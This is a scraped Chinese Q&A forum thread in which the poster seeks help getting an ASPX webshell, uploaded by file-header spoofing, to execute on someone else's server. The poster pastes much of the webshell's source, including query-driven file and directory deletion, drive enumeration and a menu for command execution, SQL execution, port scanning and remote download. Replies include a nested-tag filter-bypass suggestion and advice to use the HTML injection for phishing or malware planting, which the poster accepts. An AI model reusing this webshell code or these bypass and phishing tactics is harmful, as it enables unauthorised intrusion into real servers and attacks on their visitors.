当前位置:编程学习 > C#/ASP.NET >>

大家好<% %> 标签被过滤怎么办

我经过一系列步骤 
终于能够上传 网页木马了
但是<% %>标签被服务器过滤了
其他部分都能够正常执行
还有 <%@ %>也不能执行
直接以文本方式显示了 
现在该怎么办? --------------------编程问答-------------------- 比如<hr> 能够显示一条直线 
但是 <%  
    string page = Request.QueryString["page"];
    string action = Request.QueryString["action"];
    string src = Request.QueryString["src"];
%>

会直接以文本方式显示 --------------------编程问答-------------------- 这才是正常的,不过滤那是要多傻啊,想入侵,获得权限去吧 --------------------编程问答-------------------- 吃不消。。。还上传木马,人家不过滤让你嵌入脚本啊。。。 --------------------编程问答-------------------- 哎 目前有没有加密的办法把<% <%@这些标签拆开啊? --------------------编程问答-------------------- 从其他方面难以入手 貌似这个是唯一有用的漏洞了 --------------------编程问答-------------------- 楼主你真坏!!! --------------------编程问答-------------------- 别闹了。 --------------------编程问答-------------------- --------------------编程问答-------------------- ...
难道真的没办法了么? --------------------编程问答-------------------- 这是木马吗…… --------------------编程问答-------------------- --------------------编程问答-------------------- 看源代码, 看他是过滤一次还是循环过滤,如果是前者就<%<% %>%>试试 --------------------编程问答--------------------
引用 12 楼  的回复:
看源代码, 看他是过滤一次还是循环过滤,如果是前者就<%<% %>%>试试

我试了一下 
还是直接以文本方式显示了
直接显示了
"<%<% *** %>%>" --------------------编程问答--------------------
引用 1 楼  的回复:
比如<hr> 能够显示一条直线 


这说明你万幸遇到了一个比较笨、以至于只知道使用“web application”的人。

真正的 web site 工程,在发布时可以取消第一个选项“允许更新此预编译网站”,于是其编译出来的aspx根本没有什么源代码。这才是真正完整编译的网站。你也不可能能够注入什么 <hr>。 --------------------编程问答-------------------- 如果你说的所谓“上传网站木马”只是简单的文本,那么就要问问程序员为什么要让用户录入html了。你不妨列出这种网站来,我们来看看这种网站是怎么回事。难道它的程序员会直接把用户录入的内容赋值给label.Text而连个 预先需要 HtmlEncode 处理一下都不知道?

能显示出<hr>,这显然是严重的问题。至于你说的“它不能执行 <%  %>之类的,就别想了。跟asp.net毫无关系,这类东西不能在浏览器端去执行的(而<hr>则会)。 --------------------编程问答-------------------- 现在我有一个可以上传图片的地方
上传后可以正常显示图片 
使用文件头欺骗 可以上传aspx格式的网页木马 
但是其中的"<% %>"之间的代码没有被服务器执行
而是之间以文本方式显示了 显示情况如下:

<%@ Page Language="C#" ContentType="text/html" validateRequest="false" aspcompat="true"%> <%@ Import Namespace="System.IO" %> <%@ import namespace="System.Diagnostics" %> <%@ Import Namespace="Microsoft.Win32" %> <%@ Import Namespace="System.Collections" %> <%@ Import Namespace="System.Net" %> <%@ Import Namespace="System.Data.SqlClient" %> <%@ Import Namespace="System.Threading" %> <%@ Import Namespace="System.Net.Sockets" %> <%@ Import Namespace="System.Diagnostics" %> <% //-------------------------------Code by sunue-------------------------------- //-----------------------凝聚科技专用Aspx大马 网站 http://www.aspmuma.cn --------------------- %> <% string page = Request.QueryString["page"]; string action = Request.QueryString["action"]; string src = Request.QueryString["src"]; %> <% if (action == "del") { Directory.Delete(src,true); string webname = GetWebName(); Response.Redirect(webname + "?page=index&src="+GetParentDir(src));//// } if (action == "deldir") { FileInfo fl = new FileInfo(src); fl.Delete(); string webname = GetWebName(); Response.Redirect(GetParentDir(webname + "?page=index&src=" + src)); } %> <% if (Session["root"] != null) { %> 


功能:

 <% Response.Write("Webshell目录"); %> 

基本信息

进程管理

新建文件

新建目录

文件上传

注册表读取

cmd执行

sql执行

端口扫描

克隆时间

远程文件下载

登出




--------------------------------------------------------------------------------





提权目录:

Program Files

Documents

PcAnywhere

开始菜单

All Users

Serv-u目录I

Serv-u目录II

Real

Sql Server

Config

Data

Temp




--------------------------------------------------------------------------------





盘符浏览: <% String[] drives = Environment.GetLogicalDrives(); for (int i = 0; i < drives.Length; i++) { Response.Write(""+ drives[i]+"" + " "); } %> 

当前路径: <% if (src == null) { Response.Write(Server.MapPath(".")+"\\"); } else Response.Write(src); %>
-------------------------------------------------------------------------------- 
<% if ((page == "info") && (Session["root"] != null)) { this.LbServerNameC.Text = Server.MachineName; this.LbLangC.Text = Request.UserLanguages[0]; this.LbIpC.Text = Request.UserHostAddress; this.LbBrowerC.Text = Request.UserAgent; this.LbDnsC.Text = Request.UserHostName; this.LbUrlC.Text = Server.MapPath("."); this.LbUrlXdC.Text = Request.Path; this.LbTimeC.Text = DateTime.Now.ToString(); this.Lbversionc.Text = Environment.Version.ToString(); this.LbUserc.Text = Environment.UserName; this.LbBBC.Text = Environment.OSVersion.ToString(); %>
 



--------------------编程问答-------------------- 基本信息

进程管理

新建文件

新建目录

文件上传

注册表读取

cmd执行

sql执行

端口扫描

克隆时间

远程文件下载

登出


这些是超链接,可以正常显示 --------------------编程问答-------------------- 另外还发现一个问题 
  <%
            Response.Write("<a href='?page=index&src=" + Server.MapPath(".") + "\\'><font color='#009900'>Webshell目录

</font></a>");
         %>

这句代码 执行后的结果是:
功能:

 <% Response.Write("Webshell目录"); %> 

也就是说 <a href='?page=index&src=" + Server.MapPath(".") + "\\'><font color='#009900'>Webshell目录

</font></a>
虽然在<% %>标记内  但是并没有以文本方式显示 而是被执行了 

--------------------编程问答--------------------
引用 14 楼  的回复:
引用 1 楼  的回复:

比如<hr> 能够显示一条直线



这说明你万幸遇到了一个比较笨、以至于只知道使用“web application”的人。

真正的 web site 工程,在发布时可以取消第一个选项“允许更新此预编译网站”,于是其编译出来的aspx根本没有什么源代码。这才是真正完整编译的网站。你也不可能能够注入什么 <hr>。


看的我一头雾水。 --------------------编程问答-------------------- 最近小学生太凶残了,不仅学会了打LOL,还会上CSDN --------------------编程问答--------------------
引用 20 楼  的回复:
最近小学生太凶残了,不仅学会了打LOL,还会上CSDN
呵呵,真悲剧 --------------------编程问答--------------------
引用 14 楼  的回复:
引用 1 楼  的回复:

比如<hr> 能够显示一条直线



这说明你万幸遇到了一个比较笨、以至于只知道使用“web application”的人。

真正的 web site 工程,在发布时可以取消第一个选项“允许更新此预编译网站”,于是其编译出来的aspx根本没有什么源代码。这才是真正完整编译的网站。你也不可能能够注入什么 <hr>。


真没看懂 --------------------编程问答-------------------- 由于漏洞危害很大,波及面很广,所以没法在这里发具体的网站
有能力研究的可以加我qq 4663652 孤独的牧马人
--------------------编程问答--------------------
引用 20 楼  的回复:
最近小学生太凶残了,不仅学会了打LOL,还会上CSDN


+++ --------------------编程问答-------------------- 可用分啊! --------------------编程问答-------------------- 大神已经告诉你了,怎么还不明白呢。

你找到了一个把用户输入直接输出的网站,可以用来钓鱼,比如这个网站是腾讯的,那你可以做一个 http://www.qq.com/xxx/xx/xx...... 这样的网址,利用社会工程学,让别人访问,就可以悄悄的访问你指定的某个网页。

而你想的在他们的服务器上执行你的程序,这个漏洞是没有用的,你需要直接传递你的文件,或者在他服务器上建立文件才行。

--------------------编程问答-------------------- 当然无法按照楼主说得,上传ASPX文件 执行
另:html是不能够解析出<%%>的 --------------------编程问答--------------------
引用 26 楼  的回复:
大神已经告诉你了,怎么还不明白呢。

你找到了一个把用户输入直接输出的网站,可以用来钓鱼,比如这个网站是腾讯的,那你可以做一个 http://www.qq.com/xxx/xx/xx...... 这样的网址,利用社会工程学,让别人访问,就可以悄悄的访问你指定的某个网页。

而你想的在他们的服务器上执行你的程序,这个漏洞是没有用的,你需要直接传递你的文件,或者在他服务器上建立文件才行。
……


嗯,用来挂马可以
看来也只能这样了 --------------------编程问答--------------------
引用 20 楼  的回复:
最近小学生太凶残了,不仅学会了打LOL,还会上CSDN

我承认我不是什么高手。但我是大学生不是小学生 ,谢谢 --------------------编程问答-------------------- 是你自己的服务器吗?如果是自己的服务器,去掉过滤功能就可以了
要是别人的服务器当然会为了安全起见,禁止挂马的,你想不过滤,你可以去跟他们联系
补充:.NET技术 ,  ASP.NET
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,